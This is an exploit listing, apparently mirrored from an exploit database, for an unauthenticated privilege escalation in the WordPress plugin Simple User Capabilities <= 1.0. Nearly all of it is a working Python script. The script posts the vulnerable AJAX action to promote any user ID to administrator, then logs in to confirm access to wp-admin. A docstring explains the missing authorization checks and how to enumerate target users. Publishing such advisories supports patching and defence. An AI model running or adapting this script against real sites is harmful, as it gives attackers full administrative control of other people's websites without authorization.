Share
## https://sploitus.com/exploit?id=PACKETSTORM:226425
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Simple User Capabilities <= 1.0 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/simple-user-capabilities/
    # Software Link: https://downloads.wordpress.org/plugin/simple-user-capabilities.1.0.zip
    # Version: 1.0 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-12158
    """
    Simple User Capabilities <= 1.0 registers the nopriv AJAX action submit_capabilities
    (user_access.php:26 wp_ajax_nopriv_submit_capabilities). The handler suc_submit_capabilities() reads
    $_REQUEST['targeted_user'] (line 59) and loops attacker-supplied capabilities into $user->add_cap()
    (line 82) with NO nonce and NO current_user_can() check anywhere in the function.
    
    An unauthenticated attacker grants any existing user the `administrator` capability in a single
    request:  POST action=submit_capabilities&targeted_user=<uid>&user_caps[]=administrator
    
    Prior state: plugin active + one target user id (any existing low-priv account; enumerable via the
    REST users endpoint or author archives). If open registration is on, the attacker registers first.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--uid", required=True, help="target user id to promote to administrator")
        ap.add_argument("--check-user", help="optional login name of --uid to prove login access")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        r = requests.post(base + "/wp-admin/admin-ajax.php",
                          data={"action": "submit_capabilities", "targeted_user": args.uid,
                                "user_caps[]": "administrator"}, verify=False, timeout=20)
        print(f"[*] Target: {base} | uid {args.uid}")
        print(f"[*] submit_capabilities -> HTTP {r.status_code} :: {r.text[:120]}")
        if '"error":false' not in r.text:
            print("\n[-] request not accepted"); return 1
        if args.check_user:
            a = requests.Session(); a.verify = False
            a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
            a.post(base + "/wp-login.php", data={"log": args.check_user, "pwd": args.pw,
                   "wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"})
            p = a.get(base + "/wp-admin/plugins.php")
            if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
                print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ€” user {args.uid} is now administrator "
                      f"(reached wp-admin/plugins.php).")
                return 0
            print(f"\n[-] login check failed (plugins.php={p.status_code})"); return 1
        print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ€” administrator capability granted to uid {args.uid} "
              f"(verify with: wp user get {args.uid} --field=roles).")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())